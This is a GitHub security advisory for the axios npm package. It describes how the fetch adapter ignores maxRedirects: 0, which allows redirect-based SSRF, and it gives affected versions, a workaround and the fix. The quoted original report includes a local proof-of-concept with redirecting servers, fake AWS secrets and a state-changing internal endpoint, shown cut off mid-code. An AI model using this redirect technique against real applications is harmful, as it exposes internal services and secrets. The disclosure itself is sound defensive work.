GitHub Advisoryadvisory · npm
GHSA-r4gj-5m52-g5wh Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
HIGH
Official page ↗
- Aliases
- CVE-2026-101907
- Ecosystem
- npm
- Packages
- axios
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
- Weaknesses
- CWE-441, CWE-601
- Reviewed
- 2026-09-30
Affected packages
• npm axios: >= 1.17.0, < 1.20.0 → fixed in 1.20.0
Description
Summary
Axios exposes `maxRedirects` to limit redirect following, and `maxRedirects: 0` is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API `redirect` mode, so the runtime default of `redirect: 'follow'` applies.
Applications are affected when they rely on `maxRedirects: 0` and use the fetch adapter, either explicitly or because the runtime selects it.
Impact
An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured `maxRedirects: 0`. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.
This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted `maxRedirects: 0` as the redirect guard.
Affected Functionality
Affected:
• `adapter: 'fetch'`.
• Runtime environments where fetch is selected by adapter resolution.
• Requests configured with `maxRedirects: 0` but without `fetchOptions.redirect: 'manual'` or equivalent runtime-specific redirect control.
Not affected:
• Node HTTP adapter, which enforces `maxRedirects: 0`.
• Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details
`lib/adapters/fetch.js` destructures many fields from `resolveConfig(config)`, but not `maxRedirects`. It then builds fetch options without a `redirect` key:
```js
const resolvedOptions = {
...fetchOptions,
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
```
Because `redirect` is absent, the Fetch API default is to follow redirects.
Local verification on axios `1.18.1` showed the HTTP adapter throwing with `maxRedirects: 0`, while the fetch adapter followed the same loopback `302` and returned the internal response.
Proof of Concept of Attack
Constrained local demonstration:
1. Start server A that returns `302 Location: http://127.0.0.1:/internal`.
2. Start server B that returns `INTERNAL`.
3. Compare:
```js
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
```
Workarounds
For fetch-adapter requests, set `fetchOptions: { redirect: 'manual' }` where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.
Original report
Summary
Axios 1.17.0 exposes `maxRedirects` as a configuration option to limit redirect following, and setting it to `0` is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via `follow-redirects`. The fetch adapter does not read `maxRedirects` at all - it passes requests to the underlying `fetch()` call with no `redirect` option, which defaults to `'follow'`, so redirects are followed by the runtime rather than being constrained by axios `maxRedirects`.
In the attached PoC, a request issued with `maxRedirects: 0` and `adapter: 'fetch'` follows a `302` redirect to an internal service and returns its response, while the same request with `adapter: 'http'` correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.
This affects any application that sets `maxRedirects: 0` as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with `adapter: 'fetch'` set explicitly.
Details
The fetch adapter destructures config fields from `resolveConfig` at `lib/adapters/fetch.js`:
```js
let {
url, method, data, signal, cancelToken, timeout,
onDownloadProgress, onUploadProgress, responseType,
headers, withCredentials, fetchOptions,
maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted
```
The options object passed to `fetch()` has no `redirect` key:
```js
const resolvedOptions = {
...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect
signal: composedSignal,
method: method.toUpperCase(),
headers: toByteStringHeaderObject(headers.normalize()),
body: data,
duplex: 'half',
credentials: isCredentialsSupported ? withCredentials : undefined,
};
```
Because no `redirect` key is present, the Fetch API default of `redirect: 'follow'` applies, so redirects are handled by the runtime rather than constrained by axios `maxRedirects`. The HTTP adapter, by contrast, delegates to `follow-redirects`, which reads `maxRedirects`, enforces the cap, and strips `Authorization`, `Cookie`, and `Proxy-Authorization` on cross-origin redirects.
The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites `follow-redirects` as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect
The behaviour difference between adapters is summarised below:
| Behaviour | HTTP adapter | Fetch adapter |
|----------------------------------------|---------------------------------|--------------------------|
| Reads `config.maxRedirects` | Yes | No |
| Enforces `maxRedirects: 0` | Yes -- throws on any redirect | No -- follows silently|
| Strips `Authorization` cross-origin | Yes (`follow-redirects` >=1.15.8)| Runtime-dependent |
| Strips `Cookie` cross-origin | Yes | Runtime-dependent |
When is the fetch adapter selected?
• Deno, Bun, Cloudflare Workers: no Node.js `http` module available; the adapter list falls through to `'fetch'`
• Explicit config: `axios.get(url, { adapter: 'fetch' })`
• Custom adapter list: `axios.create({ adapter: ['fetch'] })`
PoC
```js
import http from 'http';
import axios from './index.js';
// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
if (req.url === '/api/data') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
return res.end();
}
if (req.url === '/api/change-config') {
res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
return res.end();
}
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ ok: true }));
});
let internalHits = 0;
let internalConfig = {};
// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
internalHits++;
if (req.url === '/internal/secrets') {
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
role: 'arn:aws:iam::000000000000:role/FakeProductionRole',
}));
}
if (req.url === '/internal/admin/config') {
internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
res.writeHead(200, { 'Content-Type': 'application/json' });
return res.end(JSON.stringify({
reached: 'state-changing internal admin endpoint',
changed: true,
internalConfig,
}));
}
res.writeHead(404);
res.end();
});
await Promise.all([
new Promise((resolve, reje…
Related
Alias · CVE (1)
- CVE-2026-101907 Axios is a promise-based HTTP client for the browser and Node.js. vulnerability
References
- https://github.com/axios/axios/security/advisories/GHSA-r4gj-5m52-g5wh web
- https://nvd.nist.gov/vuln/detail/CVE-2026-101907 advisory
- https://github.com/axios/axios/pull/11141 web
- https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a web
- https://github.com/axios/axios package
- https://github.com/axios/axios/releases/tag/v1.20.0 web